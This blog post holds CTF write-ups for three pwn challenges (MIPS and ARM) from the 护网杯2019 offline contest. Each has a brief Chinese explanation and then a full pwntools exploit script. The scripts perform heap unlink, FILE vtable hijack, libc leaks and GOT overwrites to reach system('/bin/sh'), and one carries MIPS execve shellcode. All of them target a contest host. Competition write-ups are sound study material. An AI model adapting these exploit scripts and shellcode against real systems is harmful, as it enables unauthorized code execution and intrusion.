Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

护网杯2019线下赛 部分Pwn WriteUp

护网杯2019线下赛部分Pwn WriteUp:1个MIPS和2个ARM的Pwn。

0x01 mipsio

程序.bss段上存在random的file结构体,通过数组下标的问题,使得该处被堆地址所覆盖。利用堆块释放时的chain,使得vtable和表中特定函数指向可控地址。利用MIPS没有NX来执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *


context.log_level = 'debug'


def add(p, idx, size, ifRandom, content=''):
p.sendlineafter('>> ', str(1))
p.sendlineafter('index?\n', str(idx))
p.sendlineafter('size?\n', str(size))
if content == '':
p.sendlineafter(']\n', 'y')
else:
p.sendlineafter(']\n', 'n')
p.sendafter('?\n', content)



def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('index?\n', str(idx))



def pwn():
context.terminal = ['tmux', 'split', '-h']
context.binary = './vuln'
if sys.argv[1] == "r":
p = remote("172.16.9.45", 10427)
elif sys.argv[1] == "l":
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu/", "./vuln"])
else:
p = process(["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu/", "./vuln"])
sleep(1)

delete(p, -8)

add(p, 0x80000000, 0x90, 0, p32(0xfbad8000)) #0xfbad848b

add(p, 0, 0x10, 0, 'sunichi')

add(p, 1, 0x10, 0, 'sunichi')

delete(p, 1)

delete(p, 0)

payload = '\x28'
add(p, 2, 0x10, 0, payload)

payload = 'a' * 0x10
add(p, 3, 0x10, 0, payload)

add(p, 4, 8, 0, 'sunichi')

add(p, 5, 0x20, 0, 'sunichi')
add(p, 6, 0x20, 0, 'sunichi')

delete(p, 6)
delete(p, 5)

buf = ""
buf += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
buf += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
buf += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
buf += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"

add(p, 7, 0x20, 0, '\x98')
add(p, 8, 0x20, 0, 'sunichi')

delete(p, 8)
add(p, 9, 0x100, 0, buf)

#flag{0c48137a-3c39-4fa7-a73c-795aa2e8f71f}
p.interactive()
p.close()


if __name__ == "__main__":
pwn()

就是一个常规的unlink,只不过在arm架构下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *


context.log_level = 'debug'


def add(p, size):
p.sendlineafter('>> ', str(1))
p.sendlineafter('?\n', str(size))


def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('?\n', str(idx))


def edit(p, idx, content):
p.sendlineafter('>> ', str(3))
p.sendlineafter('?\n', str(idx))
p.sendafter('\n', content)


def pwn():
context.terminal = ['tmux', 'split', '-h']
context.binary = './vuln'
elf = ELF('./vuln')
if sys.argv[1] == "r":
p = remote("172.16.9.45", 10623)
libc = ELF('./libc.so.6')
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
sleep(1)

add(p, 0x84) #0
add(p, 0xe4) #1
add(p, 0xe4) #2
add(p, 0x84) #3
add(p, 0x84) #4

edit(p, 2, p32(0) * 4 + p32(0x100) + p32(0xd0))

delete(p, 1) #-1
delete(p, 2) #-2
edit(p, 0, 'a' * 0x84)

add(p, 0x40) #1
add(p, 0x64) #2
add(p, 0x40) #5

delete(p, 1) #-1
delete(p, 3) #-3

add(p, 0x50) #1
add(p, 0x40) #3
add(p, 0x50) #6
add(p, 0x50) #7

payload = p32(0) + p32(0x51) + p32(0x2106c + 8 - 12) + p32(0x2106c + 8 - 8) + p32(0) * 16 + p32(0x50) + p32(0x58)[:2]
edit(p, 2, payload)

delete(p, 6)

edit(p, 2, p32(0) + p32(elf.got['free']))
edit(p, 0, p32(elf.plt['puts']))
delete(p, 7)

recv = p.recv(4)
libc.address = u32(recv) - 88/2 - 0x18 - libc.symbols['__malloc_hook'] + 0x470

edit(p, 0, p32(libc.symbols['system']))
edit(p, 3, '/bin/sh\x00')
delete(p, 3)

#flag{95633964-1915-4d63-9164-8b6b153ffe3b}
print hex(libc.address)
p.interactive()
p.close()


if __name__ == "__main__":
pwn()

0x03 bookmanager

同样需要利用unlink,只不过步骤比之前那题麻烦很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *


context.log_level = 'debug'


def add(p, name, size, content):
p.sendlineafter('>> ', str(1))
p.sendafter('book name?\n', name)
p.sendlineafter('?\n', str(size))
p.sendafter('?\n', content)


def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('?\n', str(idx))


def edit(p, idx, name, content):
p.sendlineafter('>> ', str(3))
p.sendlineafter('?\n', str(idx))
p.sendafter('\n', name)
p.sendafter('\n', content)


def show(p, idx):
p.sendlineafter('>> ', str(4))
p.sendlineafter('?\n', str(idx))


def pwn():
context.terminal = ['tmux', 'split', '-h']
context.binary = './vuln'
elf = ELF('./vuln')
if sys.argv[1] == "r":
p = remote("172.16.9.45", 11410)
libc = ELF('./libc.so.6')
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
sleep(1)


add(p, 'sunichi', 0x34, '0' * 0x34) #0
add(p, 'sunichi', 0x34, '1' * 0x34) #1
add(p, '/bin/sh\x00', 0x34, '/bin/sh\x00') #2
add(p, '/bin/sh\x00', 0x34, '/bin/sh\x00') #3
add(p, 'sunichi', 0x34, '4' * 0x34) #4

edit(p, 0, 'sunichi', '0' * 0x34 + chr(0x28+0x38+0x28+0x38+1))

delete(p, 1)

add(p, 'sunichi', 0x8, '1' * 4) #1
add(p, 'sunichi', 0x8 * 4, '5' * 4) #5

show(p, 2)
p.recvuntil('5555')
recv = p.recv(4)
libc.address = u32(recv) - 88/2 - 0x18 - libc.symbols['__malloc_hook'] + 0x470

p.sendlineafter('>> ', str(666))
p.sendlineafter('exchange the libc address with bss address\n', str(libc.symbols['malloc']))

p.recvuntil('your bss address ')
recv = p.recvuntil('\n', drop=True)

elf.address = int(recv, 16) - 0x12090
print hex(elf.address)

add(p, 'sunichi', 0x8, '6' * 4) #6

print hex(libc.address)

add(p, 'sunichi', 0x8, '7' * 0x8) #7
add(p, 'sunichi', 0x44, '8' * 0x44) #8
add(p, 'sunichi', 0x44, '9' * 0x44) #9
add(p, 'sunichi', 0x44, '10' * (0x44/2)) #10

edit(p, 4, 'sunichi', '4' * 0x34 + '\xa9')

delete(p, 7)

#payload = p32(0) * 3 + p32(0x29) + p32(0) + p32(0x69) + p32(0) * 24 + p32(0x68)
payload = 's' * 0x7c
add(p, 'sunichi', 0x7c, payload) #7
payload = p32(0) * 3 + p32(0x29) + p32(0) + p32(0x69) + p32(elf.address + 0x12090 + 0x20 - 12) + p32(elf.address + 0x12090 + 0x20 - 8)
payload += p32(0) * 22 + p32(0x68) + chr(0x28+0x48+0x28)
edit(p, 7, 'sunichi', payload)

delete(p, 9)

add(p, 'sunichi', 0x7c, 'a')
add(p, 'sunichi', 0x7c, 'b')
add(p, 'sunichi', 0x7c, 'c')
add(p, 'sunichi', 0x7c, 'd')
add(p, 'sunichi', 0x7c, 'e')

payload = p32(elf.address + 0x12090-4) + p32(0) + p32(elf.got['free'])
edit(p, 8, payload, 'sunichi')

edit(p, 5, 'sunichi', p32(libc.symbols['system']))

delete(p, 3)

print hex(libc.symbols['system'])
print hex(elf.got['free'])
p.interactive()
p.close()


if __name__ == "__main__":
pwn()